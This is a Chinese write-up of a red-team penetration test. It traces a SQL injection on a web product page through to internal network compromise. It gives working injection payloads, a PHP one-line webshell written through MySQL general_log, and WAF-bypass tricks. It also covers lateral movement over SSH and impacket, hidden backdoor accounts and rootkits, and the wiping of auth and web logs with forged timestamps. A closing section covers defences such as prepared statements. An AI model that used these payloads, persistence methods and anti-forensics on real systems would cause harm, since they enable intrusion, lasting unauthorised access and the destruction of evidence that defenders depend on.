1. 项目概述:一次从注入点到内网的完整穿透
在真实的攻防演练或渗透测试中,SQL注入漏洞往往被看作是“低危”或“中危”的起点,很多人觉得它只能用来拖拖库,拿点后台账号密码。但我想通过这次实战记录告诉你,一个看似普通的SQL注入点,如果利用得当,完全可能成为打穿整个内网的“桥头堡”。这次演练的目标是一个典型的Web应用,我们最终通过一个字符型注入点,不仅拿到了数据库最高权限,还实现了文件写入、获取Webshell,并以此为跳板,横向移动到了内网的核心服务器。整个过程没有使用任何复杂的0day,全是基于对SQL注入原理的深入理解和灵活的利用技巧。如果你是一名安全工程师、红队成员,或者正在学习Web安全,希望这篇从实战出发的复盘笔记,能给你带来一些不一样的思路和启发。
2. 目标侦察与漏洞发现
2.1 信息收集与攻击面梳理
在接到目标资产(假设为
target.com
)后,我并没有直接上扫描器狂轰滥炸。第一步永远是冷静地做信息收集。我手动访问了其官网、子域名,并使用了一些被动信息收集工具,初步勾勒出它的技术栈:前端是Vue.js,后端疑似Java(从一些报错页面和URL模式判断),数据库可能是MySQL。在浏览一个产品详情页面时,我注意到一个有趣的URL:
https://target.com/product?id=123
。参数
id
看起来像是从数据库查询产品信息的入口,这立刻引起了我的警觉。
为了验证,我尝试了最基础的注入测试:
id=123'
。页面返回了一个标准的500内部服务器错误,而不是“产品未找到”之类的业务逻辑错误。这是一个强烈的信号,说明单引号破坏了原有的SQL语句结构,导致语法错误。接着,我测试了
id=123' and '1'='1
和
id=123' and '1'='2
。前者页面正常显示产品信息,后者页面内容为空或报错。这基本确认了这里存在一个字符型SQL注入漏洞,并且参数值被单引号包裹。
注意:在真实演练中,这种初步探测要非常小心,避免触发WAF(Web应用防火墙)或IDS(入侵检测系统)的规则。我通常会使用时间延迟函数(如MySQL的
sleep())进行盲注探测,或者通过修改User-Agent等头部,让请求看起来更“正常”。直接加单引号虽然粗暴有效,但容易被封IP。
2.2 手动注入探测与信息提取
确认存在注入点后,我决定先进行手动注入,以更精细地了解后端数据库的结构,并为后续的自动化工具利用铺平道路。
首先,我需要确定注入点的具体位置和列数。我使用了经典的
order by
语句进行探测:
id=123' order by 10--
。不断调整数字,当尝试
order by 5
时页面正常,
order by 6
时报错,说明当前查询结果集的列数是5列。
接下来,我需要找到页面上显示数据的位置,以便通过
union select
回显信息。我构造了Payload:
id=-123' union select 1,2,3,4,5--
。这里将原查询的
id
设置为一个不存在的负值,目的是让原查询结果为空,从而使得页面直接显示我们
union select
的内容。果然,页面上的产品名称和描述位置分别被数字“2”和“4”所替代。这意味着第2列和第4列的数据会回显在页面上,是我们输出信息的理想位置。
利用这两个回显点,我开始提取数据库信息:
-
当前数据库和用户
:
id=-123' union select 1, database(), user(), version(),5---
页面上显示当前数据库名为
app_prod,当前用户为root@localhost。看到root用户,我心里一沉,这意味着数据库权限极高,为后续利用提供了极大便利。
-
页面上显示当前数据库名为
-
获取所有数据库名
:
id=-123' union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata---
回显了包括
information_schema,mysql,app_prod,internal_admin等多个数据库名。其中internal_admin引起了我的注意,这很可能是一个内部管理系统使用的数据库。
-
回显了包括
3. 漏洞深度利用与权限提升
3.1 利用SQL注入获取Webshell
仅仅拿到数据还不够,我们的目标是打穿目标。在MySQL高权限(root)且Web应用与数据库同机部署的情况下,通过SQL注入写入Webshell是经典路径。这主要依赖于
SELECT ... INTO OUTFILE
语句。
首先,我需要确定Web应用的绝对路径。通过一些技巧可以获取:
-
利用加载文件错误
:
id=123' and load_file('/etc/passwd')--尝试读取系统文件,如果成功,说明路径权限可能存在问题,但更常用的是通过报错信息。 -
通过全局变量
:
id=-123' union select 1,@@basedir,@@datadir,4,5--。@@datadir显示了数据库数据存放路径,结合常见的Web目录结构(如/var/www/html,/usr/local/tomcat/webapps/ROOT),可以推测Web根目录。
更直接的方法是,如果网站有上传功能但过滤严格,可以尝试通过注入修改上传逻辑或路径。但这里我选择利用数据库的
general_log
(通用查询日志)功能。因为当前是root权限,我可以操作任何全局变量。
-
开启通用日志并设置日志路径到Web目录:
id=123'; SET global general_log = on; SET global general_log_file = '/var/www/html/target/shell.php';-- -
执行一个会被记录到日志的查询,该查询内容即为我们的一句话木马:
id=123'; SELECT '<?php @eval($_POST[\"cmd\"]);?>';-- -
此时,Web目录下就会生成一个
shell.php文件,其内容包含了我们的PHP代码。访问https://target.com/target/shell.php即可使用蚁剑、冰蝎等工具进行连接。
实操心得:
INTO OUTFILE方式需要secure_file_priv参数为空且Web目录有写权限,限制较多。而general_log技巧在MySQL root权限下成功率更高,因为它利用了MySQL自身的日志机制写入文件,绕过了部分文件系统权限检查。但操作完成后务必记得关闭通用日志并恢复原日志文件路径,以免留下过于明显的痕迹。
3.2 通过Webshell进行内网探测
成功连接Webshell后,我获得了目标Web服务器的一个命令执行环境。首先进行基本的信息收集:
-
whoami/id:查看当前Web服务运行的用户权限(通常是www-data,apache,tomcat等)。 -
uname -a:查看操作系统内核版本。 -
ifconfig/ip addr:查看服务器网络配置,获取内网IP段(如192.168.1.0/24,10.10.10.0/24)。 -
netstat -antp:查看网络连接和监听端口,寻找可能开放的内网服务(如MySQL的3306,Redis的6379,内网管理平台的8080端口等)。 -
查看Web应用配置文件:寻找数据库连接字符串、Redis密码、其他服务的API密钥等。配置文件路径通常如
/var/www/html/target/config.php,/WEB-INF/classes/application.properties等。
在这次演练中,我在一个配置文件里发现了连接内网另一台数据库(
192.168.5.101
)的明文密码,并且该密码被复用在了多个地方。这为横向移动提供了关键凭证。
4. 横向移动与权限维持
4.1 数据库提权与横向渗透
虽然我们通过Webshell已经有了一个立足点,但Web服务账户权限通常很低。我们之前获取的数据库root密码(从配置文件中获得)成为了提权的钥匙。
-
利用数据库外连
:在MySQL中,如果开启了
secure_file_priv为空,并且有FILE权限,可以通过SELECT ... INTO DUMPFILE写入SSH公钥到目标系统的root用户的.ssh/authorized_keys文件中,从而直接获取服务器root权限。但这里条件不满足。 - 利用UDF提权 :这是MySQL提权的经典方法。原理是将一个自定义的共享库(.so或.dll)文件写入插件目录,并通过MySQL创建函数来执行系统命令。步骤繁琐且依赖编译环境,在时间有限的演练中不是首选。
-
利用数据库作为跳板
:我选择了更直接的方式。通过Webshell上传一个简单的端口扫描脚本,对内网
192.168.5.0/24网段进行扫描。发现了192.168.5.101(配置文件中的数据库)除了开放3306,还开放了22(SSH)端口。尝试使用配置文件中的密码进行SSH登录,成功!而且登录用户正是root。
4.2 内网信息收集与域渗透(模拟)
拿到内网一台重要服务器的root权限后,真正的内网渗透才开始。我在这台服务器上进行了更深入的信息收集:
-
history:查看命令历史,可能发现管理员的操作习惯和其他服务器信息。 -
cat /etc/hosts:查看主机名解析,发现其他内网主机。 -
ps aux | grep -v grep | grep -E “(ssh|vnc|rdp|telnet)”:查找远程管理进程。 -
查找敏感文件:如
~/.bash_history,~/.ssh/,/root/*.txt,/home/*/Desktop/*等。
假设目标网络是一个Windows域环境,我会尝试从这台Linux服务器上寻找可能缓存的域凭证,或者利用它作为跳板,使用
impacket
工具包中的
psexec.py
,
smbexec.py
等工具,对扫描到的Windows主机进行密码喷洒(Password Spraying)或哈希传递攻击(Pass-the-Hash),特别是使用之前发现的复用密码。
4.3 权限维持与痕迹清理
在取得阶段性成果后,权限维持和清理痕迹非常重要,以免被蓝队迅速发现并反制。
-
创建后门账户
:在获取root权限的Linux服务器上,添加一个具有sudo权限的隐藏用户(如用户名包含空格或特殊字符,在
/etc/passwd中不易察觉)。 -
安装Rootkit或SSH后门
:时间充裕可考虑安装如
Diamorphine(内核级rootkit)或修改SSH服务端程序,记录并允许特定密码登录。但在演练中,更常用的是部署一个轻量级的、自启动的反弹Shell脚本或Web后门。 -
清理日志
:这是关键步骤。需要清理的日志包括:
-
Web访问日志(如Nginx的
access.log, Apache的access_log)。 -
命令历史(
~/.bash_history, 并设置export HISTSIZE=0临时禁用当前会话历史记录)。 - MySQL的通用日志、慢查询日志(如果之前开启过)。
-
系统认证日志(
/var/log/auth.log,/var/log/secure),删除与我们的IP和操作相关的条目。使用sed -i命令进行行删除操作。 -
最后,使用
touch -r命令将我们修改过的日志文件时间戳恢复成与周围文件一致,避免通过文件修改时间被识别。
-
Web访问日志(如Nginx的
重要注意事项:痕迹清理是一项细致且高风险的工作。在真实的攻防演练中,蓝队通常会部署集中化的日志审计系统(如ELK Stack),日志会实时发送到远程服务器,本地清理无效。因此,更高级的思路是:1. 尽可能使用目标环境已有的合法工具 (如
curl,wget,python,perl)进行后续操作,减少引入新文件。2. 行为模仿 :操作节奏模拟正常用户或管理员,避免在短时间内进行大量高危操作。3. 优先使用内存执行的无文件攻击 ,不留痕迹在磁盘上。
5. 漏洞成因深度分析与防御加固建议
5.1 SQL注入漏洞根源剖析
这次渗透的起点,那个简单的
id
参数注入,其根源在于开发中的经典失误:
-
字符串拼接
:后端代码直接使用了字符串拼接的方式来构造SQL语句,例如
String sql = "SELECT * FROM products WHERE id='" + request.getParameter("id") + "'";。这是万恶之源。 -
缺乏输入验证
:没有对用户输入的
id参数进行任何有效的过滤或验证,既没有检查是否为纯数字,也没有对特殊字符进行转义。 - 错误信息泄露 :最初的单引号触发了详细的数据库错误信息并直接显示给用户,这为攻击者确认漏洞提供了直接反馈。在生产环境中,应使用统一的、模糊的错误页面。
- 数据库权限过高 :Web应用使用数据库的root账户进行连接,导致一旦注入成功,攻击者就能获得数据库的完全控制权,进而实施文件读写等高危操作。
5.2 多层次防御方案
防御SQL注入,绝不能只靠一层防护,需要从代码到运维的全链路加固:
1. 代码层(治本之策)
-
使用预编译语句(Prepared Statements)
:这是最有效、最根本的防御手段。无论是Java的
PreparedStatement, Python的cursor.execute(sql, (param,)),还是PHP的PDO预处理,其原理都是将SQL语句的结构(模板)与数据(参数)分开发送给数据库,数据库会严格区分两者,从而从根本上杜绝了数据被解释为代码的可能性。// 错误示例:拼接 String sql = "SELECT * FROM users WHERE username = '" + username + "'"; // 正确示例:预编译 String sql = "SELECT * FROM users WHERE username = ?"; PreparedStatement stmt = connection.prepareStatement(sql); stmt.setString(1, username); -
使用安全的ORM框架
:如MyBatis(需配合
#{}而非${})、Hibernate、Spring Data JPA等。这些框架底层通常也使用预编译,但需注意其提供的“原生SQL”接口可能绕开安全机制。 -
严格的输入验证
:在业务逻辑允许的范围内,对输入进行白名单验证。例如,
id参数必须是正整数,可以使用正则表达式^[1-9]\d*$进行校验,不符合则直接拒绝。
2. 数据库层
-
最小权限原则
:为Web应用创建专用的数据库账户,并授予其
最小必要权限
。通常只需要
SELECT,INSERT,UPDATE,DELETE等DML权限,绝对不要授予FILE,PROCESS,SUPER,GRANT OPTION等管理权限。连接账户不应是root。 -
修改默认配置
:设置MySQL的
secure_file_priv参数为一个指定的、非Web目录的路径,或者直接设置为NULL,彻底禁用LOAD DATA INFILE和SELECT ... INTO OUTFILE功能。
3. 网络与架构层
- 部署WAF :在Web服务器前端部署Web应用防火墙,可以拦截常见的SQL注入攻击Payload。但WAF是“缓解”措施,而非“根治”方案,可能存在被绕过(如编码绕过、注释绕过)的风险。
- 定期安全扫描与代码审计 :将SQL注入检测纳入CI/CD流程,使用SAST(静态应用安全测试)工具扫描源代码,使用DAST(动态应用安全测试)工具扫描运行中的应用。
- 错误处理 :配置自定义错误页面,避免将数据库、服务器、框架的详细错误信息直接返回给客户端。记录详细的错误日志到后端安全分析平台供审计使用。
6. 实战中遇到的典型问题与排查技巧
6.1 注入点探测被WAF拦截
问题
:在初始探测阶段,使用
and 1=1
或单引号等简单Payload时,请求被阻断,返回403或WAF拦截页面。
排查与绕过思路 :
-
大小写混合/随机大小写
:
AnD 1=1,UNiOn SeLeCt。 -
使用注释混淆
:SQL注释符(
--,#,/*...*/)可以拆分关键词。例如:UNION/**/SELECT。 -
等价函数/语句替换
:
1=1可以换成2>1,true,~1=~1(按位取反)。and可以换成&&(在某些数据库中)。 -
编码绕过
:对Payload进行URL编码、双重URL编码、十六进制编码。例如,将
SELECT编码为%53%45%4c%45%43%54。 -
参数污染
:提交多个同名参数,如
id=1&id=2' and '1'='1,WAF可能只检查第一个,而后端框架(如PHP的$_GET)可能取最后一个。 - 使用非常规HTTP方法 :尝试将GET请求改为POST请求,或者使用PUT、DELETE等方法,WAF的规则集可能不同。
- 慢速攻击 :通过多部分表单数据或分块传输编码,极慢地发送请求数据,可能绕过基于流量分析的WAF。
6.2 UNION SELECT注入时页面不回显数据
问题
:确认存在注入,
order by
测出列数,但使用
union select 1,2,3...
时,页面没有显示我们预设的数字位,无法确定回显点。
排查与利用思路 :
-
检查Union前后语句的字段类型是否匹配
:原查询可能要求某些字段是字符串类型,而我们用数字导致类型错误。尝试
union select null, null, null...或union select 'a','b','c'...。 -
使用盲注
:如果页面只有“对”和“错”两种状态(布尔盲注),或者响应时间有明显差异(时间盲注),则放弃Union注入,采用盲注策略。
-
布尔盲注
:
id=123' and ascii(substr(database(),1,1))>100--, 通过页面内容是否存在来判断条件真假。 -
时间盲注
:
id=123' and if(ascii(substr(database(),1,1))>100, sleep(5), 0)--, 通过响应延迟来判断。
-
布尔盲注
:
-
利用错误回显注入
:如果数据库错误信息会显示在页面上,可以构造Payload让其将查询结果通过错误信息带出。例如在MySQL中:
id=123' and extractvalue(1, concat(0x7e, (select database()),0x7e))--, 会报错提示“XPATH syntax error: '~app_prod~'”。
6.3 写入Webshell时权限不足
问题
:拥有数据库root权限,但执行
SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'
时失败,提示权限错误。
排查与解决 :
-
检查
secure_file_priv:执行SHOW VARIABLES LIKE 'secure_file_priv';。如果值不为空,则只能向该指定目录写入。尝试写入该目录,或者(在授权情况下)修改MySQL配置文件(my.cnf)并重启服务(此法在实战中不现实)。 -
检查目录写入权限
:即使
secure_file_priv为空,MySQL进程用户(通常是mysql)也必须对目标目录有写权限。可以通过Webshell查看目录权限ls -la /var/www/html/。 -
换用
general_log技巧 :如前文所述,这是在高权限下更可靠的写入方式,因为它利用的是MySQL自身的日志功能。 -
寻找可写目录
:通过Webshell寻找其他
mysql用户或www-data用户可写的目录,如/tmp,/var/tmp, 然后尝试通过Web应用的文件包含漏洞去包含这个文件。例如,如果存在LFI漏洞,可以写入一个包含PHP代码的session文件或log文件,然后去包含它。
6.4 内网横向移动时网络不通
问题
:通过Webshell可以访问外网,但无法ping通或连接发现的内网IP(如
192.168.5.101
)。
排查思路 :
-
确认网络拓扑
:Web服务器可能处于DMZ区,与核心业务区(如
192.168.5.0/24)之间有防火墙隔离,仅开放了特定的业务端口(如3306)。 -
利用已开放端口
:既然能从Web应用连接内网数据库(
192.168.5.101:3306),说明这条通路是通的。可以尝试:-
端口转发
:在Web服务器上使用
socat,nc或rinetd等工具,将本地一个端口转发到内网目标的其他端口(如SSH的22端口)。例如:socat TCP-LISTEN:2222,fork TCP:192.168.5.101:22。然后攻击机连接Web服务器的2222端口,流量就会被转发到内网服务器的22端口。 -
数据库外连
:如果数据库支持外部命令执行(如MySQL的
sys_exec或通过UDF),可以通过数据库直接发起对内网其他服务的连接或攻击。
-
端口转发
:在Web服务器上使用
-
寻找跳板机
:检查Web服务器上是否有其他网络接口(
ip addr),或者是否有到其他网段的路由(route -n)。也许这台服务器本身可以访问多个网络区域。
整个实战过程,从一个小小的ID参数到最终触及内网核心,每一步都充满了与防御措施的对抗和策略选择。SQL注入作为最古老的Web漏洞之一,其危害在当今复杂的网络环境中并未减弱,反而因为能与其他漏洞链式结合而产生更大的破坏力。对于防守方而言,修补它需要从开发规范、权限管理、网络架构到持续监控的全方位投入;对于攻击方(或安全测试者)而言,深入理解其原理和利用技巧,是打开更深层安全大门的必备钥匙。真正的安全,永远建立在对细节的敬畏和持续的学习之上。

2131

被折叠的 条评论
为什么被折叠?



